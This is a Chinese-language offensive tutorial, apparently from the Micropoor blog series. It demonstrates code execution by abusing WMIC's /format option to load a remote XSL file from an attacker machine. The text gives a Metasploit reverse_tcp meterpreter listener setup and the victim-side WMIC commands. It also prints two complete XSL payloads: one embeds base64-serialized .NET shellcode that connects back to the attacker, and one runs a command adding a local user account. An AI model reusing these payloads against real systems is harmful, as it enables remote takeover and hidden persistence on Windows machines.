专注APT攻击与防御

https://micropoor.blogspot.com/

注：请多喝点热水或者凉白开，可预防肾结石，通风等。Wmic简介：

WMIC扩展WMI（Windows Management Instrumentation，Windows管理工具），提供了从命令行接口和批命令脚本执行系统管理的支持。在WMIC出现之前，如果要管理WMI系统，必须使用一些专门的WMI应用，例如SMS，或者使用WMI的脚本编程API，或者使用象CIM Studio之类的工具。如果不熟悉C++之类的编程语言或VBScript之类的脚本语言，或者不掌握WMI名称空间的基本知识，要用WMI管理系统是很困难的。WMIC改变了这种情况。

说明：Wmic.exe所在路径已被系统添加PATH环境变量中，因此，Wmic命令可识别，需注意x86，x64位的Wmic调用。

Windows 2003 默认位置：

C:\WINDOWS\system32\wbem\wmic.exe

C:\WINDOWS\SysWOW64\wbem\wmic.exe

Windows 7 默认位置：

C:\Windows\System32\wbem\WMIC.exe

C:\Windows\SysWOW64\wbem\WMIC.exe

攻击机： 192.168.1.4 Debian

靶机： 192.168.1.119 Windows 2003

192.168.1.5 Windows 7

配置攻击机msf：

1 msf exploit(multi/handler) > show options 2

3 Module options (exploit/multi/handler): 4

5 Name Current Setting Required Description

6 ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ 7

8

9 Payload options (windows/meterpreter/reverse\_tcp): 10

11 Name Current Setting Required Description

12 ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐

13 EXITFUNC process yes Exit technique (Accepted: '', seh, thread, proce ss, none)

14 LHOST 192.168.1.4 yes The listen address (an interface may be specifi ed)

15 LPORT 53 yes The listen port 16

17

18 Exploit target: 19

20 Id Name

21 ‐‐ ‐‐‐‐

22 0 Wildcard Target 23

靶机执行：

Windows 7：

C:\Windows\SysWOW64\wbem\WMIC.exe os get /format:"http://192.168.1.4/Micropoor.xsl"

Windows 2003：

WMIC.exe os get /format:"http://192.168.1.4/Micropoor\_2003.xsl"

附录：

Micropoor\_Win7.xsl：

1 <?xml version='1.0'?>

2 <stylesheet

3 xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas‐mic rosoft‐com:xslt"

4 xmlns:user="placeholder"

5 version="1.0">

6 <output method="text"/>

7 <ms:script implements‐prefix="user" language="JScript">

8 <![CDATA[ 9

10 function setversion() {

11 }

12 function debug(s) {}

13 function base64ToStream(b) {

14 var enc = new ActiveXObject("System.Text.ASCIIEncoding");

15 var length = enc.GetByteCount\_2(b);

16 var ba = enc.GetBytes\_4(b);

17 var transform = new ActiveXObject("System.Security.Cryptography.FromB ase64Transform");

18 ba = transform.TransformFinalBlock(ba, 0, length);

19 var ms = new ActiveXObject("System.IO.MemoryStream");

20 ms.Write(ba, 0, (length / 4) \* 3);

21 ms.Position = 0;

22 return ms;

23 } 24

25 var serialized\_obj = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdh dGVTZXJpYWxpemF0aW9uSG9sZGVy"+

26 "AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2Vya WFsaXph"+

27 "dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb 25Ib2xk"+

28 "ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJA gAAAAkD"+

29 "AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0Rlb GVnYXRl"+

30 "RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50Y XJnZXRU"+

31 "eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ 2F0ZVNl"+

32 "cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lL lJlbW90"+

33 "aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249M i4wLjAu"+

34 "MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5B gcAAAAH"+

35 "dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZ QoEAwAA"+

36 "ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0Y XJnZXQw"+

37 "B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ 2F0ZUVu"+

38 "dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlc gkLAAAA"+

39 "CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpe mF0aW9u"+

40 "SG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlCk1lb WJlclR5"+

41 "cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAACQYAAAAJC QAAAAYR"+

42 "AAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWN0W10pCAAAA AoBCwAA"+

43 "AAIAAAAGEgAAACBTeXN0ZW0uWG1sLlNjaGVtYS5YbWxWYWx1ZUdldHRlcgYTAAAATVN5c 3RlbS5Y"+

44 "bWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlb j1iNzdh"+

45 "NWM1NjE5MzRlMDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU3lzdGVtLlJlZmxlY3Rpb 24uQXNz"+

46 "ZW1ibHkGFwAAAARMb2FkCg8MAAAAABQAAAJNWpAAAwAAAAQAAAD//wAAuAAAAAAAAABAA AAAAAAA"+

47 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAADh+6DgC0Cc0huAFMzSFUaGlzI HByb2dy"+

48 "YW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZS4NDQokAAAAAAAAAFBFAABMAQMAVC1CX AAAAAAA"+

49 "AAAA4AACIQsBCwAADAAAAAYAAAAAAAAOKgAAACAAAABAAAAAAAAQACAAAAACAAAEAAAAA AAAAAQA"+

50 "AAAAAAAAAIAAAAACAAAAAAAAAwBAhQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAA AAAwCkA"+

51 "AEsAAAAAQAAA0AIAAAAAAAAAAAAAAAAAAAAAAAAAYAAADAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAA"+

52 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAIAAAAAAAAAAAAAAAIIAAASAAAA AAAAAAA"+

53 "AAAALnRleHQAAAAUCgAAACAAAAAMAAAAAgAAAAAAAAAAAAAAAAAAIAAAYC5yc3JjAAAA0 AIAAABA"+

54 "AAAABAAAAA4AAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAAwAAAAAYAAAAAIAAAASAAAAA AAAAAAA"+

55 "AAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAPApAAAAAAAASAAAAAIABQBEIgAAfAcAAAMAA AAAAAAA"+

56 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQgIoB AAACgAA"+

57 "KAIAAAYAACoAAAAAAAAA/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsI MHPDQHH"+

58 "4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7f SR15FiL"+

59 "WCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMd yYHiej/"+

60 "0LiQAQAAKcRUUGgpgGsA/9VqCmjAqAEEaAIAADWJ5lBQUFBAUEBQaOoP3+D/1ZdqEFZXa JmldGH/"+

61 "1YXAdAr/Tgh17OhnAAAAagBqBFZXaALZyF//1YP4AH42izZqQGgAEAAAVmoAaFikU+X/1 ZNTagBW"+

62 "U1doAtnIX//Vg/gAfShYaABAAABqAFBoCy8PMP/VV2h1bk1h/9VeXv8MJA+FcP///+m b////AcMp"+

63 "xnXBw7vwtaJWagBT/9UAAAATMAYAZQAAAAEAABEAIFUBAACNBgAAASXQAwAABCgGAAAKC hYGjml+"+

64 "AQAABH4CAAAEKAMAAAYLBhYHbigHAAAKBo5pKAgAAAoAfgkAAAoMFg1+CQAAChMEFhYHE QQWEgMo"+

65 "BAAABgwIFSgFAAAGJisAKkogABAAAIABAAAEH0CAAgAABCpCU0pCAQABAAAAAAAMAAAAd jQuMC4z"+

66 "MDMxOQAAAAAFAGwAAABgAgAAI34AAMwCAABkAwAAI1N0cmluZ3MAAAAAMAYAAAgAAAAjV VMAOAYA"+

67 "ABAAAAAjR1VJRAAAAEgGAAA0AQAAI0Jsb2IAAAAAAAAAAgAAAVfVAjQJAgAAAPolMwAWA AABAAAA"+

68 "DwAAAAQAAAADAAAABgAAAAwAAAALAAAABAAAAAEAAAABAAAAAQAAAAEAAAADAAAAAQAAA AEAAAAB"+

69 "AAAAAQAAAAAACgABAAAAAAAGAEsARAAGAFsBPwEGAHcBPwEGAKYBhgEGAMYBhgEGAPcBR AAGAEEC"+

70 "hgEGAFwCRAAGAJgChgEGAKcCRAAGAK0CRAAGANACRAAGAAID4wIGABQD4wIGAEcDNwMAA AAAAQAA"+

71 "AAAAAQABAAEAEAAhACkABQABAAEAAAAAAPwBAAAFAAMABwATAQAAZgIAACEABAAHABEAX QASABEA"+

72 "aAASABMBhAI+AFAgAAAAAIYYUgAKAAEAwCEAAAAAkQBYAA4AAQAAAAAAgACRIH8AFQABA AAAAACA"+

73 "AJEgjAAdAAUAAAAAAIAAkSCZACgACwAxIgAAAACRGDADDgANAAAAAQCtAAAAAgC5AAAAA wC+AAAA"+

74 "BADPAAAAAQDZAAAAAgDsAAAAAwD4AAAABAAHAQAABQANAQAABgAdAQAAAQAoAQAAAgAwA REAUgAu"+

75 "ACEAUgA0ACkAUgAKAAkAUgAKADkAUgAKAEkAwAJCAGEA1wJKAGkACgNPAGEADwNYAHEAU gBkAHkA"+

76 "UgAKACcAWwA5AC4AEwBpAC4AGwByAGMAKwA5AAgABgCRAAEAVQEAAAQAWwAnAwABBwB/A AEAAAEJ"+

77 "AIwAAQAAAQsAmQABAGggAAADAASAAAAAAAAAAAAAAAAAAAAAAOQBAAAEAAAAAAAAAAAAA AABADsA"+

78 "AAAAAAQAAwAAAAA8TW9kdWxlPgB3bWlfY3NfZGxsX3BheWxvYWQuZGxsAFByb2dyYW0AU 2hlbGxD"+

79 "b2RlTGF1bmNoZXIAbXNjb3JsaWIAU3lzdGVtAE9iamVjdAAuY3RvcgBNYWluAE1FTV9DT 01NSVQA"+

80 "UEFHRV9FWEVDVVRFX1JFQURXUklURQBWaXJ0dWFsQWxsb2MAQ3JlYXRlVGhyZWFkAFdha XRGb3JT"+

81 "aW5nbGVPYmplY3QAbHBTdGFydEFkZHIAc2l6ZQBmbEFsbG9jYXRpb25UeXBlAGZsUHJvd GVjdABs"+

82 "cFRocmVhZEF0dHJpYnV0ZXMAZHdTdGFja1NpemUAbHBTdGFydEFkZHJlc3MAcGFyYW0AZ HdDcmVh"+

83 "dGlvbkZsYWdzAGxwVGhyZWFkSWQAaEhhbmRsZQBkd01pbGxpc2Vjb25kcwBTeXN0ZW0uU 2VjdXJp"+

84 "dHkuUGVybWlzc2lvbnMAU2VjdXJpdHlQZXJtaXNzaW9uQXR0cmlidXRlAFNlY3VyaXR5Q WN0aW9u"+

85 "AFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMAQ29tcGlsYXRpb25SZWxheGF0a W9uc0F0"+

86 "dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQB3bWlfY3NfZGxsX3Bhe WxvYWQA"+

87 "Qnl0ZQA8UHJpdmF0ZUltcGxlbWVudGF0aW9uRGV0YWlscz57MEQxQTVERjAtRDZCNy00R UUzLUJB"+

88 "QzItOTY0MUUyREJCMDNFfQBDb21waWxlckdlbmVyYXRlZEF0dHJpYnV0ZQBWYWx1ZVR5c GUAX19T"+

89 "dGF0aWNBcnJheUluaXRUeXBlU2l6ZT0zNDEAJCRtZXRob2QweDYwMDAwMDItMQBSdW50a W1lSGVs"+

90 "cGVycwBBcnJheQBSdW50aW1lRmllbGRIYW5kbGUASW5pdGlhbGl6ZUFycmF5AEludFB0c gBvcF9F"+

91 "eHBsaWNpdABTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMATWFyc2hhbABDb3B5A Fplcm8A"+

92 "RGxsSW1wb3J0QXR0cmlidXRlAGtlcm5lbDMyAC5jY3RvcgBTeXN0ZW0uU2VjdXJpdHkAV W52ZXJp"+

93 "ZmlhYmxlQ29kZUF0dHJpYnV0ZQAAAAAAAyAAAAAAAPBdGg231uNOusKWQeLbsD4ACLd6X FYZNOCJ"+

94 "AyAAAQMAAAECBgkHAAQJCQkJCQoABhgJCQkYCRAJBQACCRgJBSABARENBCABAQgEAQAAA AMGERAH"+

95 "AAIBEikRLQQAARgKCAAEAR0FCBgIAgYYCAcFHQUJGAkYBCABAQ4IAQAIAAAAAAAeAQABA FQCFldy"+

96 "YXBOb25FeGNlcHRpb25UaHJvd3MBgJ4uAYCEU3lzdGVtLlNlY3VyaXR5LlBlcm1pc3Npb 25zLlNl"+

97 "Y3VyaXR5UGVybWlzc2lvbkF0dHJpYnV0ZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuM CwgQ3Vs"+

98 "dHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5FQFUAhBTa 2lwVmVy"+

99 "aWZpY2F0aW9uAQAAAOgpAAAAAAAAAAAAAP4pAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAA ADwKQAA"+

100 "AAAAAAAAX0NvckRsbE1haW4AbXNjb3JlZS5kbGwAAAAAAP8lACAAEAAAAAAAAAAAAAAA AAAAAAAA"+

101 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

102 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

103 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

104 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

105 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

106 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

107 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

108 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

109 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAQAAAAGAAAgAAAAAAAAAAA AAAAAAAA"+

110 "AQABAAAAMAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAASAAAAFhAAAB0AgAAAAAAAAAAAAB0 AjQAAABW"+

111 "AFMAXwBWAEUAUgBTAEkATwBOAF8ASQBOAEYATwAAAAAAvQTv/gAAAQAAAAAAAAAAAAAA AAAAAAAA"+

112 "PwAAAAAAAAAEAAAAAgAAAAAAAAAAAAAAAAAAAEQAAAABAFYAYQByAEYAaQBsAGUASQBu AGYAbwAA"+

113 "AAAAJAAEAAAAVAByAGEAbgBzAGwAYQB0AGkAbwBuAAAAAAAAALAE1AEAAAEAUwB0AHIA aQBuAGcA"+

114 "RgBpAGwAZQBJAG4AZgBvAAAAsAEAAAEAMAAwADAAMAAwADQAYgAwAAAALAACAAEARgBp AGwAZQBE"+

115 "AGUAcwBjAHIAaQBwAHQAaQBvAG4AAAAAACAAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMA aQBvAG4A"+

116 "AAAAADAALgAwAC4AMAAuADAAAABQABcAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAA AHcAbQBp"+

117 "AF8AYwBzAF8AZABsAGwAXwBwAGEAeQBsAG8AYQBkAC4AZABsAGwAAAAAACgAAgABAEwA ZQBnAGEA"+

118 "bABDAG8AcAB5AHIAaQBnAGgAdAAAACAAAABYABcAAQBPAHIAaQBnAGkAbgBhAGwARgBp AGwAZQBu"+

119 "AGEAbQBlAAAAdwBtAGkAXwBjAHMAXwBkAGwAbABfAHAAYQB5AGwAbwBhAGQALgBkAGwA bAAAAAAA"+

120 "NAAIAAEAUAByAG8AZAB1AGMAdABWAGUAcgBzAGkAbwBuAAAAMAAuADAALgAwAC4AMAAA ADgACAAB"+

121 "AEEAcwBzAGUAbQBiAGwAeQAgAFYAZQByAHMAaQBvAG4AAAAwAC4AMAAuADAALgAwAAAA AAAAAAAA"+

122 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

123 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

124 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

125 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

126 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

127 "AAAAAAAAAAAAAAAAAAAAAAAAIAAADAAAABA6AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

128 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

129 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

130 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

131 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

132 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

133 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

134 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

135 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

136 "AAAAAAAAAAAAAAAAAAAAAAENAAAABAAAAAkXAAAACQYAAAAJFgAAAAYaAAAAJ1N5c3Rl bS5SZWZs"+

137 "ZWN0aW9uLkFzc2VtYmx5IExvYWQoQnl0ZVtdKQgAAAAKCwAA";

138 var entry\_class = 'ShellCodeLauncher.Program'; 139

140 try {

141 setversion();

142 var stm = base64ToStream(serialized\_obj);

143 var fmt = new ActiveXObject('System.Runtime.Serialization.Formatter s.Binary.BinaryFormatter');

144 var al = new ActiveXObject('System.Collections.ArrayList');

145 var d = fmt.Deserialize\_2(stm);

146 al.Add(undefined);

147 var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry\_class); 148

149 } catch (e) {

150 debug(e.message);

151 } 152

153 ]]> </ms:script>

154 </stylesheet>

Micropoor\_2003.xsl:

1 <?xml version='1.0'?>

2 <stylesheet

3 xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas‐mic rosoft‐com:xslt"

4 xmlns:user="placeholder"

5 version="1.0">

6 <output method="text"/>

7 <ms:script implements‐prefix="user" language="JScript">

8 <![CDATA[ 9

10 var r = new ActiveXObject("WScript.Shell").Run("net user Micropoor Mic ropoor /add");

11

12 ]]> </ms:script>

13 </stylesheet>

Micropoor